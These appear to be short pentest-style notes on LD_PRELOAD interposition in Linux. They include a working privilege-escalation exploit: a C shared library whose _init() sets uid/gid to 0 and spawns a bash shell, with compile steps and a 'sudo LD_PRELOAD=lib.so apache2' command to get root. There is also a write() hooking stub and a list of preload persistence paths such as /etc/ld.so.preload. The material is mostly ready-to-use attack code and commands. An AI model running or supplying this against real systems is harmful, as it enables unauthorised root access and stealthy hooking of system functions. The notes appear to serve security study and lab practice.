Preload libs and do interpositioning of functions.
man ld.so
man dlsym
, dlsym()
calls the original function_init()
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
gcc -fPIC -shared -o lib.so lib.c -nostartfiles
sudo LD_PRELOAD=lib.so apache2
$ id
write()
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h> // Contains _GNU_SOURCE from man dlsym
#include <string.h>
ssize_t write(int fildes, const void *buf, size_t nbytes)
{
ssize_t result;
do the thing;
return result;
}
gcc -ldl interpositioning.c -fPIC -shared -D _GNU_SOURCE -o interpositioning.so -ldl`
LD_PRELOAD
has to be set differently. These may look as followsLD_PRELOAD=./interpositioning.so <binary>
orexport LD_PRELOAD=$(pwd)/interpositioning.so
or/etc/ld.so.preload
orChange the preload path via LD_PRELOAD_PATH
Verify via ldd <somebinary>